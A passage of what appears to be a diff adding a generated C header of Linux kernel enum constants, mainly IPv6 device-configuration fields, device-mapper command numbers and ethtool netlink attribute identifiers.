DEVCONF_ACCEPT_RA_RT_INFO_MAX_PLEN = 21, + DEVCONF_PROXY_NDP = 22, + DEVCONF_OPTIMISTIC_DAD = 23, + DEVCONF_ACCEPT_SOURCE_ROUTE = 24, + DEVCONF_MC_FORWARDING = 25, + DEVCONF_DISABLE_IPV6 = 26, + DEVCONF_ACCEPT_DAD = 27, + DEVCONF_FORCE_TLLAO = 28, + DEVCONF_NDISC_NOTIFY = 29, + DEVCONF_MLDV1_UNSOLICITED_REPORT_INTERVAL = 30, + DEVCONF_MLDV2_UNSOLICITED_REPORT_INTERVAL = 31, + DEVCONF_SUPPRESS_FRAG_NDISC = 32, + DEVCONF_ACCEPT_RA_FROM_LOCAL = 33, + DEVCONF_USE_OPTIMISTIC = 34, + DEVCONF_ACCEPT_RA_MTU = 35, + DEVCONF_STABLE_SECRET = 36, + DEVCONF_USE_OIF_ADDRS_ONLY = 37, + DEVCONF_ACCEPT_RA_MIN_HOP_LIMIT = 38, + DEVCONF_IGNORE_ROUTES_WITH_LINKDOWN = 39, + DEVCONF_DROP_UNICAST_IN_L2_MULTICAST = 40, + DEVCONF_DROP_UNSOLICITED_NA = 41, + DEVCONF_KEEP_ADDR_ON_DOWN = 42, + DEVCONF_RTR_SOLICIT_MAX_INTERVAL = 43, + DEVCONF_SEG6_ENABLED = 44, + DEVCONF_SEG6_REQUIRE_HMAC = 45, + DEVCONF_ENHANCED_DAD = 46, + DEVCONF_ADDR_GEN_MODE = 47, + DEVCONF_DISABLE_POLICY = 48, + DEVCONF_ACCEPT_RA_RT_INFO_MIN_PLEN = 49, + DEVCONF_NDISC_TCLASS = 50, + DEVCONF_RPL_SEG_ENABLED = 51, + DEVCONF_RA_DEFRTR_METRIC = 52, + DEVCONF_IOAM6_ENABLED = 53, + DEVCONF_IOAM6_ID = 54, + DEVCONF_IOAM6_ID_WIDE = 55, + DEVCONF_NDISC_EVICT_NOCARRIER = 56, + DEVCONF_ACCEPT_UNTRACKED_NA = 57, + DEVCONF_ACCEPT_RA_MIN_LFT = 58, + DEVCONF_MAX = 59, +}; + +enum { + DIO_LOCKING = 1, + DIO_SKIP_HOLES = 2, +}; + +enum { + DIO_SHOULD_DIRTY = 1, + DIO_IS_SYNC = 2, +}; + +enum { + DIR_OFFSET_MIN = 2, +}; + +enum { + DISCOVERED = 16, + EXPLORED = 32, + FALLTHROUGH = 1, + BRANCH = 2, +}; + +enum { + DISK_EVENT_FLAG_POLL = 1, + DISK_EVENT_FLAG_UEVENT = 2, + DISK_EVENT_FLAG_BLOCK_ON_EXCL_WRITE = 4, +}; + +enum { + DISK_EVENT_MEDIA_CHANGE = 1, + DISK_EVENT_EJECT_REQUEST = 2, +}; + +enum { + DM_IO_ACCOUNTED = 0, + DM_IO_WAS_SPLIT = 1, + DM_IO_BLK_STAT = 2, +}; + +enum { + DM_TIO_INSIDE_DM_IO = 0, + DM_TIO_IS_DUPLICATE_BIO = 1, +}; + +enum { + DM_VERSION_CMD = 0, + DM_REMOVE_ALL_CMD = 1, + DM_LIST_DEVICES_CMD = 2, + DM_DEV_CREATE_CMD = 3, + DM_DEV_REMOVE_CMD = 4, + DM_DEV_RENAME_CMD = 5, + DM_DEV_SUSPEND_CMD = 6, + DM_DEV_STATUS_CMD = 7, + DM_DEV_WAIT_CMD = 8, + DM_TABLE_LOAD_CMD = 9, + DM_TABLE_CLEAR_CMD = 10, + DM_TABLE_DEPS_CMD = 11, + DM_TABLE_STATUS_CMD = 12, + DM_LIST_VERSIONS_CMD = 13, + DM_TARGET_MSG_CMD = 14, + DM_DEV_SET_GEOMETRY_CMD = 15, + DM_DEV_ARM_POLL_CMD = 16, + DM_GET_TARGET_VERSION_CMD = 17, +}; + +enum { + DONE_EXPLORING = 0, + KEEP_EXPLORING = 1, +}; + +enum { + DUMP_PREFIX_NONE = 0, + DUMP_PREFIX_ADDRESS = 1, + DUMP_PREFIX_OFFSET = 2, +}; + +enum { + DVM_OP_MODE = 0, + MVM_OP_MODE = 1, +}; + +enum { + EC_FLAGS_QUERY_ENABLED = 0, + EC_FLAGS_EVENT_HANDLER_INSTALLED = 1, + EC_FLAGS_EC_HANDLER_INSTALLED = 2, + EC_FLAGS_EC_REG_CALLED = 3, + EC_FLAGS_QUERY_METHODS_INSTALLED = 4, + EC_FLAGS_STARTED = 5, + EC_FLAGS_STOPPED = 6, + EC_FLAGS_EVENTS_MASKED = 7, +}; + +enum { + EI_ETYPE_NULL = 0, + EI_ETYPE_ERRNO = 1, + EI_ETYPE_ERRNO_NULL = 2, + EI_ETYPE_TRUE = 3, +}; + +enum { + EMULATE = 0, + XONLY = 1, + NONE = 2, +}; + +enum { + EPecma = 0, + EPdec = 1, + EPeq = 2, + EPgt = 3, + EPlt = 4, +}; + +enum { + ERASE = 0, + WERASE = 1, + KILL = 2, +}; + +enum { + ES_WRITTEN_B = 0, + ES_UNWRITTEN_B = 1, + ES_DELAYED_B = 2, + ES_HOLE_B = 3, + ES_REFERENCED_B = 4, + ES_FLAGS = 5, +}; + +enum { + ETHTOOL_A_BITSET_BITS_UNSPEC = 0, + ETHTOOL_A_BITSET_BITS_BIT = 1, + __ETHTOOL_A_BITSET_BITS_CNT = 2, + ETHTOOL_A_BITSET_BITS_MAX = 1, +}; + +enum { + ETHTOOL_A_BITSET_BIT_UNSPEC = 0, + ETHTOOL_A_BITSET_BIT_INDEX = 1, + ETHTOOL_A_BITSET_BIT_NAME = 2, + ETHTOOL_A_BITSET_BIT_VALUE = 3, + __ETHTOOL_A_BITSET_BIT_CNT = 4, + ETHTOOL_A_BITSET_BIT_MAX = 3, +}; + +enum { + ETHTOOL_A_BITSET_UNSPEC = 0, + ETHTOOL_A_BITSET_NOMASK = 1, + ETHTOOL_A_BITSET_SIZE = 2, + ETHTOOL_A_BITSET_BITS = 3, + ETHTOOL_A_BITSET_VALUE = 4, + ETHTOOL_A_BITSET_MASK = 5, + __ETHTOOL_A_BITSET_CNT = 6, + ETHTOOL_A_BITSET_MAX = 5, +}; + +enum { + ETHTOOL_A_C33_PSE_PW_LIMIT_UNSPEC = 0, + ETHTOOL_A_C33_PSE_PW_LIMIT_MIN = 1, + ETHTOOL_A_C33_PSE_PW_LIMIT_MAX = 2, +}; + +enum { + ETHTOOL_A_CABLE_AMPLITUDE_UNSPEC = 0, + ETHTOOL_A_CABLE_AMPLITUDE_PAIR = 1, + ETHTOOL_A_CABLE_AMPLITUDE_mV = 2, + __ETHTOOL_A_CABLE_AMPLITUDE_CNT = 3, + ETHTOOL_A_CABLE_AMPLITUDE_MAX = 2, +}; + +enum { + ETHTOOL_A_CABLE_FAULT_LENGTH_UNSPEC = 0, + ETHTOOL_A_CABLE_FAULT_LENGTH_PAIR = 1, + ETHTOOL_A_CABLE_FAULT_LENGTH_CM = 2, + ETHTOOL_A_CABLE_FAULT_LENGTH_SRC = 3, + __ETHTOOL_A_CABLE_FAULT_LENGTH_CNT = 4, + ETHTOOL_A_CABLE_FAULT_LENGTH_MAX = 3, +}; + +enum { + ETHTOOL_A_CABLE_INF_SRC_UNSPEC = 0, + ETHTOOL_A_CABLE_INF_SRC_TDR = 1, + ETHTOOL_A_CABLE_INF_SRC_ALCD = 2, +}; + +enum { + ETHTOOL_A_CABLE_NEST_UNSPEC = 0, + ETHTOOL_A_CABLE_NEST_RESULT = 1, + ETHTOOL_A_CABLE_NEST_FAULT_LENGTH = 2, + __ETHTOOL_A_CABLE_NEST_CNT = 3, + ETHTOOL_A_CABLE_NEST_MAX = 2, +}; + +enum { + ETHTOOL_A_CABLE_PAIR_A = 0, + ETHTOOL_A_CABLE_PAIR_B = 1, + ETHTOOL_A_CABLE_PAIR_C = 2, + ETHTOOL_A_CABLE_PAIR_D = 3, +}; + +enum { + ETHTOOL_A_CABLE_PULSE_UNSPEC = 0, + ETHTOOL_A_CABLE_PULSE_mV = 1, + __ETHTOOL_A_CABLE_PULSE_CNT = 2, + ETHTOOL_A_CABLE_PULSE_MAX = 1, +}; + +enum { + ETHTOOL_A_CABLE_RESULT_UNSPEC = 0, + ETHTOOL_A_CABLE_RESULT_PAIR = 1, + ETHTOOL_A_CABLE_RESULT_CODE = 2, + ETHTOOL_A_CABLE_RESULT_SRC = 3, + __ETHTOOL_A_CABLE_RESULT_CNT = 4, + ETHTOOL_A_CABLE_RESULT_MAX = 3, +}; + +enum { + ETHTOOL_A_CABLE_STEP_UNSPEC = 0, + ETHTOOL_A_CABLE_STEP_FIRST_DISTANCE = 1, + ETHTOOL_A_CABLE_STEP_LAST_DISTANCE = 2, + ETHTOOL_A_CABLE_STEP_STEP_DISTANCE = 3, + __ETHTOOL_A_CABLE_STEP_CNT = 4, + ETHTOOL_A_CABLE_STEP_MAX = 3, +}; + +enum { + ETHTOOL_A_CABLE_TDR_NEST_UNSPEC = 0, + ETHTOOL_A_CABLE_TDR_NEST_STEP = 1, + ETHTOOL_A_CABLE_TDR_NEST_AMPLITUDE = 2, + ETHTOOL_A_CABLE_TDR_NEST_PULSE = 3, + __ETHTOOL_A_CABLE_TDR_NEST_CNT = 4, + ETHTOOL_A_CABLE_TDR_NEST_MAX = 3, +}; + +enum { + ETHTOOL_A_CABLE_TEST_NTF_STATUS_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_NTF_STATUS_STARTED = 1, + ETHTOOL_A_CABLE_TEST_NTF_STATUS_COMPLETED = 2, +}; + +enum { + ETHTOOL_A_CABLE_TEST_NTF_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_NTF_HEADER = 1, + ETHTOOL_A_CABLE_TEST_NTF_STATUS = 2, + ETHTOOL_A_CABLE_TEST_NTF_NEST = 3, + __ETHTOOL_A_CABLE_TEST_NTF_CNT = 4, + ETHTOOL_A_CABLE_TEST_NTF_MAX = 3, +}; + +enum { + ETHTOOL_A_CABLE_TEST_TDR_CFG_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_TDR_CFG_FIRST = 1, + ETHTOOL_A_CABLE_TEST_TDR_CFG_LAST = 2, + ETHTOOL_A_CABLE_TEST_TDR_CFG_STEP = 3, + ETHTOOL_A_CABLE_TEST_TDR_CFG_PAIR = 4, + __ETHTOOL_A_CABLE_TEST_TDR_CFG_CNT = 5, + ETHTOOL_A_CABLE_TEST_TDR_CFG_MAX = 4, +}; + +enum { + ETHTOOL_A_CABLE_TEST_TDR_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_TDR_HEADER = 1, + ETHTOOL_A_CABLE_TEST_TDR_CFG = 2, + __ETHTOOL_A_CABLE_TEST_TDR_CNT = 3, + ETHTOOL_A_CABLE_TEST_TDR_MAX = 2, +}; + +enum { + ETHTOOL_A_CABLE_TEST_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_HEADER = 1, + __ETHTOOL_A_CABLE_TEST_CNT = 2, + ETHTOOL_A_CABLE_TEST_MAX = 1, +}; + +enum { + ETHTOOL_A_CHANNELS_UNSPEC = 0, + ETHTOOL_A_CHANNELS_HEADER = 1, + ETHTOOL_A_CHANNELS_RX_MAX = 2, + ETHTOOL_A_CHANNELS_TX_MAX = 3, + ETHTOOL_A_CHANNELS_OTHER_MAX = 4, + ETHTOOL_A_CHANNELS_COMBINED_MAX = 5, + ETHTOOL_A_CHANNELS_RX_COUNT = 6, + ETHTOOL_A_CHANNELS_TX_COUNT = 7, + ETHTOOL_A_CHANNELS_OTHER_COUNT = 8, + ETHTOOL_A_CHANNELS_COMBINED_COUNT = 9, + __ETHTOOL_A_CHANNELS_CNT = 10, + ETHTOOL_A_CHANNELS_MAX = 9, +}; + +enum { + ETHTOOL_A_COALESCE_UNSPEC = 0, + ETHTOOL_A_COALESCE_HEADER = 1, + ETHTOOL_A_COALESCE_RX_USECS = 2, + ETHTOOL_A_COALESCE_RX_MAX_FRAMES = 3, + ETHTOOL_A_COALESCE_RX_USECS_IRQ = 4, + ETHTOOL_A_COALESCE_RX_MAX_FRAMES_IRQ = 5, + ETHTOOL_A_COALESCE_TX_USECS = 6, + ETHTOOL_A_COALESCE_TX_MAX_FRAMES = 7, + ETHTOOL_A_COALESCE_TX_USECS_IRQ = 8, + ETHTOOL_A_COALESCE_TX_MAX_FRAMES_IRQ = 9, + ETHTOOL_A_COALESCE_STATS_BLOCK_USECS = 10, + ETHTOOL_A_COALESCE_USE_ADAPTIVE_RX = 11, + ETHTOOL_A_COALESCE_USE_ADAPTIVE_TX = 12, + ETHTOOL_A_COALESCE_PKT_RATE_LOW = 13, + ETHTOOL_A_COALESCE_RX_USECS_LOW = 14, + ETHTOOL_A_COALESCE_RX_MAX_FRAMES_LOW = 15, + ETHTOOL_A_COALESCE_TX_USECS_LOW = 16, + ETHTOOL_A_COALESCE_TX_MAX_FRAMES_LOW = 17, + ETHTOOL_A_COALESCE_PKT_RATE_HIGH = 18, + ETHTOOL_A_COALESCE_RX_USECS_HIGH = 19, + ETHTOOL_A_COALESCE_RX_MAX_FRAMES_HIGH = 20, + ETHTOOL_A_COALESCE_TX_USECS_HIGH = 21, + ETHTOOL_A_COALESCE_TX_MAX_FRAMES_HIGH = 22, + ETHTOOL_A_COALESCE_RATE_SAMPLE_INTERVAL = 23, + ETHTOOL_A_COALESCE_USE_CQE_MODE_TX = 24, + ETHTOOL_A_COALESCE_USE_CQE_MODE_RX = 25, + ETHTOOL_A_COALESCE_TX_AGGR_MAX_BYTES = 26, + ETHTOOL_A_COALESCE_TX_AGGR_MAX_FRAMES = 27, + ETHTOOL_A_COALESCE_TX_AGGR_TIME_USECS = 28, + ETHTOOL_A_COALESCE_RX_PROFILE = 29, + ETHTOOL_A_COALESCE_TX_PROFILE = 30, + __ETHTOOL_A_COALESCE_CNT = 31, + ETHTOOL_A_COALESCE_MAX = 30, +}; + +enum { + ETHTOOL_A_DEBUG_UNSPEC = 0, + ETHTOOL_A_DEBUG_HEADER = 1, + ETHTOOL_A_DEBUG_MSGMASK = 2, + __ETHTOOL_A_DEBUG_CNT = 3, + ETHTOOL_A_DEBUG_MAX = 2, +}; + +enum { + ETHTOOL_A_EEE_UNSPEC = 0, + ETHTOOL_A_EEE_HEADER = 1, + ETHTOOL_A_EEE_MODES_OURS = 2, + ETHTOOL_A_EEE_MODES_PEER = 3, + ETHTOOL_A_EEE_ACTIVE = 4, + ETHTOOL_A_EEE_ENABLED = 5, + ETHTOOL_A_EEE_TX_LPI_ENABLED = 6, + ETHTOOL_A_EEE_TX_LPI_TIMER = 7, + __ETHTOOL_A_EEE_CNT = 8, + ETHTOOL_A_EEE_MAX = 7, +}; + +enum { + ETHTOOL_A_FEATURES_UNSPEC = 0, + ETHTOOL_A_FEATURES_HEADER = 1, + ETHTOOL_A_FEATURES_HW = 2, + ETHTOOL_A_FEATURES_WANTED = 3, + ETHTOOL_A_FEATURES_ACTIVE = 4, + ETHTOOL_A_FEATURES_NOCHANGE = 5, + __ETHTOOL_A_FEATURES_CNT = 6, + ETHTOOL_A_FEATURES_MAX = 5, +}; + +enum { + ETHTOOL_A_FEC_STAT_UNSPEC = 0, + ETHTOOL_A_FEC_STAT_PAD = 1, + ETHTOOL_A_FEC_STAT_CORRECTED = 2, + ETHTOOL_A_FEC_STAT_UNCORR = 3, + ETHTOOL_A_FEC_STAT_CORR_BITS = 4, + __ETHTOOL_A_FEC_STAT_CNT = 5, + ETHTOOL_A_FEC_STAT_MAX = 4, +}; + +enum { + ETHTOOL_A_FEC_UNSPEC = 0, + ETHTOOL_A_FEC_HEADER = 1, + ETHTOOL_A_FEC_MODES = 2, + ETHTOOL_A_FEC_AUTO = 3, + ETHTOOL_A_FEC_ACTIVE = 4, + ETHTOOL_A_FEC_STATS = 5, + __ETHTOOL_A_FEC_CNT = 6, + ETHTOOL_A_FEC_MAX = 5, +}; + +enum { + ETHTOOL_A_HEADER_UNSPEC = 0, + ETHTOOL_A_HEADER_DEV_INDEX = 1, + ETHTOOL_A_HEADER_DEV_NAME = 2, + ETHTOOL_A_HEADER_FLAGS = 3, + ETHTOOL_A_HEADER_PHY_INDEX = 4, + __ETHTOOL_A_HEADER_CNT = 5, + ETHTOOL_A_HEADER_MAX = 4, +}; + +enum { + ETHTOOL_A_IRQ_MODERATION_UNSPEC = 0, + ETHTOOL_A_IRQ_MODERATION_USEC = 1, + ETHTOOL_A_IRQ_MODERATION_PKTS = 2, + ETHTOOL_A_IRQ_MODERATION_COMPS = 3, + __ETHTOOL_A_IRQ_MODERATION_CNT = 4, + ETHTOOL_A_IRQ_MODERATION_MAX = 3, +}; + +enum { + ETHTOOL_A_LINKINFO_UNSPEC = 0, + ETHTOOL_A_LINKINFO_HEADER = 1, + ETHTOOL_A_LINKINFO_PORT = 2, + ETHTOOL_A_LINKINFO_PHYADDR = 3, + ETHTOOL_A_LINKINFO_TP_MDIX = 4, + ETHTOOL_A_LINKINFO_TP_MDIX_CTRL = 5, + ETHTOOL_A_LINKINFO_TRANSCEIVER = 6, + __ETHTOOL_A_LINKINFO_CNT = 7, + ETHTOOL_A_LINKINFO_MAX = 6, +}; + +enum { + ETHTOOL_A_LINKMODES_UNSPEC = 0, + ETHTOOL_A_LINKMODES_HEADER = 1, + ETHTOOL_A_LINKMODES_AUTONEG = 2, + ETHTOOL_A_LINKMODES_OURS = 3, + ETHTOOL_A_LINKMODES_PEER = 4, + ETHTOOL_A_LINKMODES_SPEED = 5, + ETHTOOL_A_LINKMODES_DUPLEX = 6, + ETHTOOL_A_LINKMODES_MASTER_SLAVE_CFG = 7, + ETHTOOL_A_LINKMODES_MASTER_SLAVE_STATE = 8, + ETHTOOL_A_LINKMODES_LANES = 9, + ETHTOOL_A_LINKMODES_RATE_MATCHING = 10, + __ETHTOOL_A_LINKMODES_CNT = 11, + ETHTOOL_A_LINKMODES_MAX = 10, +}; + +enum { + ETHTOOL_A_LINKSTATE_UNSPEC = 0, + ETHTOOL_A_LINKSTATE_HEADER = 1, + ETHTOOL_A_LINKSTATE_LINK = 2, + ETHTOOL_A_LINKSTATE_SQI = 3, + ETHTOOL_A_LINKSTATE_SQI_MAX = 4, + ETHTOOL_A_LINKSTATE_EXT_STATE = 5, + ETHTOOL_A_LINKSTATE_EXT_SUBSTATE = 6, + ETHTOOL_A_LINKSTATE_EXT_DOWN_CNT = 7, + __ETHTOOL_A_LINKSTATE_CNT = 8, + ETHTOOL_A_LINKSTATE_MAX = 7, +}; + +enum { + ETHTOOL_A_MM_STAT_UNSPEC = 0, + ETHTOOL_A_MM_STAT_PAD = 1, + ETHTOOL_A_MM_STAT_REASSEMBLY_ERRORS = 2, + ETHTOOL_A_MM_STAT_SMD_ERRORS = 3, + ETHTOOL_A_MM_STAT_REASSEMBLY_OK = 4, + ETHTOOL_A_MM_STAT_RX_FRAG_COUNT = 5, + ETHTOOL_A_MM_STAT_TX_FRAG_COUNT = 6, + ETHTOOL_A_MM_STAT_HOLD_COUNT = 7, + __ETHTOOL_A_MM_STAT_CNT = 8, + ETHTOOL_A_MM_STAT_MAX = 7, +}; + +enum { + ETHTOOL_A_MM_UNSPEC = 0, + ETHTOOL_A_MM_HEADER = 1, + ETHTOOL_A_MM_PMAC_ENABLED = 2, + ETHTOOL_A_MM_TX_ENABLED = 3, + ETHTOOL_A_MM_TX_ACTIVE = 4, + ETHTOOL_A_MM_TX_MIN_FRAG_SIZE = 5, + ETHTOOL_A_MM_RX_MIN_FRAG_SIZE = 6, + ETHTOOL_A_MM_VERIFY_ENABLED = 7, + ETHTOOL_A_MM_VERIFY_STATUS = 8, + ETHTOOL_A_MM_VERIFY_TIME = 9, + ETHTOOL_A_MM_MAX_VERIFY_TIME = 10, + ETHTOOL_A_MM_STATS = 11, + __ETHTOOL_A_MM_CNT = 12, + ETHTOOL_A_MM_MAX = 11, +}; + +enum { + ETHTOOL_A_MODULE_EEPROM_UNSPEC = 0, + ETHTOOL_A_MODULE_EEPROM_HEADER = 1, + ETHTOOL_A_MODULE_EEPROM_OFFSET = 2, + ETHTOOL_A_MODULE_EEPROM_LENGTH = 3, + ETHTOOL_A_MODULE_EEPROM_PAGE = 4, + ETHTOOL_A_MODULE_EEPROM_BANK = 5, + ETHTOOL_A_MODULE_EEPROM_I2C_ADDRESS = 6, + ETHTOOL_A_MODULE_EEPROM_DATA = 7, + __ETHTOOL_A_MODULE_EEPROM_CNT = 8, + ETHTOOL_A_MODULE_EEPROM_MAX = 7, +}; + +enum { + ETHTOOL_A_MODULE_FW_FLASH_UNSPEC = 0, + ETHTOOL_A_MODULE_FW_FLASH_HEADER = 1, + ETHTOOL_A_MODULE_FW_FLASH_FILE_NAME = 2, + ETHTOOL_A_MODULE_FW_FLASH_PASSWORD = 3, + ETHTOOL_A_MODULE_FW_FLASH_STATUS = 4, + ETHTOOL_A_MODULE_FW_FLASH_STATUS_MSG = 5, + ETHTOOL_A_MODULE_FW_FLASH_DONE = 6, + ETHTOOL_A_MODULE_FW_FLASH_TOTAL = 7, + __ETHTOOL_A_MODULE_FW_FLASH_CNT = 8, + ETHTOOL_A_MODULE_FW_FLASH_MAX = 7, +}; + +enum { + ETHTOOL_A_MODULE_UNSPEC = 0, + ETHTOOL_A_MODULE_HEADER = 1, + ETHTOOL_A_MODULE_POWER_MODE_POLICY = 2, + ETHTOOL_A_MODULE_POWER_MODE = 3, + __ETHTOOL_A_MODULE_CNT = 4, + ETHTOOL_A_MODULE_MAX = 3, +}; + +enum { + ETHTOOL_A_PAUSE_STAT_UNSPEC = 0, + ETHTOOL_A_PAUSE_STAT_PAD = 1, + ETHTOOL_A_PAUSE_STAT_TX_FRAMES = 2, + ETHTOOL_A_PAUSE_STAT_RX_FRAMES = 3, + __ETHTOOL_A_PAUSE_STAT_CNT = 4, + ETHTOOL_A_PAUSE_STAT_MAX = 3, +}; + +enum { + ETHTOOL_A_PAUSE_UNSPEC = 0, + ETHTOOL_A_PAUSE_HEADER = 1, + ETHTOOL_A_PAUSE_AUTONEG = 2, + ETHTOOL_A_PAUSE_RX = 3, + ETHTOOL_A_PAUSE_TX = 4, + ETHTOOL_A_PAUSE_STATS = 5, + ETHTOOL_A_PAUSE_STATS_SRC = 6, + __ETHTOOL_A_PAUSE_CNT = 7, + ETHTOOL_A_PAUSE_MAX = 6, +}; + +enum { + ETHTOOL_A_PHC_VCLOCKS_UNSPEC = 0, + ETHTOOL_A_PHC_VCLOCKS_HEADER = 1, + ETHTOOL_A_PHC_VCLOCKS_NUM = 2, + ETHTOOL_A_PHC_VCLOCKS_INDEX = 3, + __ETHTOOL_A_PHC_VCLOCKS_CNT = 4, + ETHTOOL_A_PHC_VCLOCKS_MAX = 3, +}; + +enum { + ETHTOOL_A_PHY_UNSPEC = 0, + ETHTOOL_A_PHY_HEADER = 1, + ETHTOOL_A_PHY_INDEX = 2, + ETHTOOL_A_PHY_DRVNAME = 3, + ETHTOOL_A_PHY_NAME = 4, + ETHTOOL_A_PHY_UPSTREAM_TYPE = 5, + ETHTOOL_A_PHY_UPSTREAM_INDEX = 6, + ETHTOOL_A_PHY_UPSTREAM_SFP_NAME = 7, + ETHTOOL_A_PHY_DOWNSTREAM_SFP_NAME = 8, + __ETHTOOL_A_PHY_CNT = 9, + ETHTOOL_A_PHY_MAX = 8, +}; + +enum { + ETHTOOL_A_PLCA_UNSPEC = 0, + ETHTOOL_A_PLCA_HEADER = 1, + ETHTOOL_A_PLCA_VERSION = 2, + ETHTOOL_A_PLCA_ENABLED = 3, + ETHTOOL_A_PLCA_STATUS = 4, + ETHTOOL_A_PLCA_NODE_CNT = 5, + ETHTOOL_A_PLCA_NODE_ID = 6, + ETHTOOL_A_PLCA_TO_TMR = 7, + ETHTOOL_A_PLCA_BURST_CNT = 8, + ETHTOOL_A_PLCA_BURST_TMR = 9, + __ETHTOOL_A_PLCA_CNT = 10, + ETHTOOL_A_PLCA_MAX = 9, +}; + +enum { + ETHTOOL_A_PRIVFLAGS_UNSPEC = 0, + ETHTOOL_A_PRIVFLAGS_HEADER = 1, + ETHTOOL_A_PRIVFLAGS_FLAGS = 2, + __ETHTOOL_A_PRIVFLAGS_CNT = 3, + ETHTOOL_A_PRIVFLAGS_MAX = 2, +}; + +enum { + ETHTOOL_A_PROFILE_UNSPEC = 0, + ETHTOOL_A_PROFILE_IRQ_MODERATION = 1, + __ETHTOOL_A_PROFILE_CNT = 2, + ETHTOOL_A_PROFILE_MAX = 1, +}; + +enum { + ETHTOOL_A_PSE_UNSPEC = 0, + ETHTOOL_A_PSE_HEADER = 1, + ETHTOOL_A_PODL_PSE_ADMIN_STATE = 2, + ETHTOOL_A_PODL_PSE_ADMIN_CONTROL = 3, + ETHTOOL_A_PODL_PSE_PW_D_STATUS = 4, + ETHTOOL_A_C33_PSE_ADMIN_STATE = 5, + ETHTOOL_A_C33_PSE_ADMIN_CONTROL = 6, + ETHTOOL_A_C33_PSE_PW_D_STATUS = 7, + ETHTOOL_A_C33_PSE_PW_CLASS = 8, + ETHTOOL_A_C33_PSE_ACTUAL_PW = 9, + ETHTOOL_A_C33_PSE_EXT_STATE = 10, + ETHTOOL_A_C33_PSE_EXT_SUBSTATE = 11, + ETHTOOL_A_C33_PSE_AVAIL_PW_LIMIT = 12, + ETHTOOL_A_C33_PSE_PW_LIMIT_RANGES = 13, + __ETHTOOL_A_PSE_CNT = 14, + ETHTOOL_A_PSE_MAX = 13, +}; + +enum { + ETHTOOL_A_RINGS_UNSPEC = 0, + ETHTOOL_A_RINGS_HEADER = 1, + ETHTOOL_A_RINGS_RX_MAX = 2, + ETHTOOL_A_RINGS_RX_MINI_MAX = 3, + ETHTOOL_A_RINGS_RX_JUMBO_MAX = 4, + ETHTOOL_A_RINGS_TX_MAX = 5, + ETHTOOL_A_RINGS_RX = 6, + ETHTOOL_A_RINGS_RX_MINI = 7, + ETHTOOL_A_RINGS_RX_JUMBO = 8, + ETHTOOL_A_RINGS_TX = 9, + ETHTOOL_A_RINGS_RX_BUF_LEN = 10, + ETHTOOL_A_RINGS_TCP_DATA_SPLIT = 11, + ETHTOOL_A_RINGS_CQE_SIZE = 12, + ETHTOOL_A_RINGS_TX_PUSH = 13, + ETHTOOL_A_RINGS_RX_PUSH = 14, + ETHTOOL_A_RINGS_TX_PUSH_BUF_LEN = 15, + ETHTOOL_A_RINGS_TX_PUSH_BUF_LEN_MAX = 16, + __ETHTOOL_A_RINGS_CNT = 17, + ETHTOOL_A_RINGS_MAX = 16, +}; + +enum { + ETHTOOL_A_RSS_UNSPEC = 0, + ETHTOOL_A_RSS_HEADER = 1, + ETHTOOL_A_RSS_CONTEXT = 2, + ETHTOOL_A_RSS_HFUNC = 3, + ETHTOOL_A_RSS_INDIR = 4, + ETHTOOL_A_RSS_HKEY = 5, + ETHTOOL_A_RSS_INPUT_XFRM = 6, + ETHTOOL_A_RSS_START_CONTEXT = 7, + __ETHTOOL_A_RSS_CNT = 8, + ETHTOOL_A_RSS_MAX = 7, +}; + +enum { + ETHTOOL_A_STATS_ETH_CTRL_3_TX = 0, + ETHTOOL_A_STATS_ETH_CTRL_4_RX = 1, + ETHTOOL_A_STATS_ETH_CTRL_5_RX_UNSUP = 2, + __ETHTOOL_A_STATS_ETH_CTRL_CNT = 3, + ETHTOOL_A_STATS_ETH_CTRL_MAX = 2, +}; + +enum { + ETHTOOL_A_STATS_ETH_MAC_2_TX_PKT = 0, + ETHTOOL_A_STATS_ETH_MAC_3_SINGLE_COL = 1, + ETHTOOL_A_STATS_ETH_MAC_4_MULTI_COL = 2, + ETHTOOL_A_STATS_ETH_MAC_5_RX_PKT = 3, + ETHTOOL_A_STATS_ETH_MAC_6_FCS_ERR = 4, + ETHTOOL_A_STATS_ETH_MAC_7_ALIGN_ERR = 5, + ETHTOOL_A_STATS_ETH_MAC_8_TX_BYTES = 6, + ETHTOOL_A_STATS_ETH_MAC_9_TX_DEFER = 7, + ETHTOOL_A_STATS_ETH_MAC_10_LATE_COL = 8, + ETHTOOL_A_STATS_ETH_MAC_11_XS_COL = 9, + ETHTOOL_A_STATS_ETH_MAC_12_TX_INT_ERR = 10, + ETHTOOL_A_STATS_ETH_MAC_13_CS_ERR = 11, + ETHTOOL_A_STATS_ETH_MAC_14_RX_BYTES = 12, + ETHTOOL_A_STATS_ETH_MAC_15_RX_INT_ERR = 13, + ETHTOOL_A_STATS_ETH_MAC_18_TX_MCAST = 14, + ETHTOOL_A_STATS_ETH_MAC_19_TX_BCAST = 15, + ETHTOOL_A_STATS_ETH_MAC_20_XS_DEFER = 16, + ETHTOOL_A_STATS_ETH_MAC_21_RX_MCAST = 17, + ETHTOOL_A_STATS_ETH_MAC_22_RX_BCAST = 18, + ETHTOOL_A_STATS_ETH_MAC_23_IR_LEN_ERR = 19, + ETHTOOL_A_STATS_ETH_MAC_24_OOR_LEN = 20, + ETHTOOL_A_STATS_ETH_MAC_25_TOO_LONG_ERR = 21, + __ETHTOOL_A_STATS_ETH_MAC_CNT = 22, + ETHTOOL_A_STATS_ETH_MAC_MAX = 21, +}; + +enum { + ETHTOOL_A_STATS_ETH_PHY_5_SYM_ERR = 0, + __ETHTOOL_A_STATS_ETH_PHY_CNT = 1, + ETHTOOL_A_STATS_ETH_PHY_MAX = 0, +}; + +enum { + ETHTOOL_A_STATS_GRP_UNSPEC = 0, + ETHTOOL_A_STATS_GRP_PAD = 1, + ETHTOOL_A_STATS_GRP_ID = 2, + ETHTOOL_A_STATS_GRP_SS_ID = 3, + ETHTOOL_A_STATS_GRP_STAT = 4, + ETHTOOL_A_STATS_GRP_HIST_RX = 5, + ETHTOOL_A_STATS_GRP_HIST_TX = 6, + ETHTOOL_A_STATS_GRP_HIST_BKT_LOW = 7, + ETHTOOL_A_STATS_GRP_HIST_BKT_HI = 8, + ETHTOOL_A_STATS_GRP_HIST_VAL = 9, + __ETHTOOL_A_STATS_GRP_CNT = 10, + 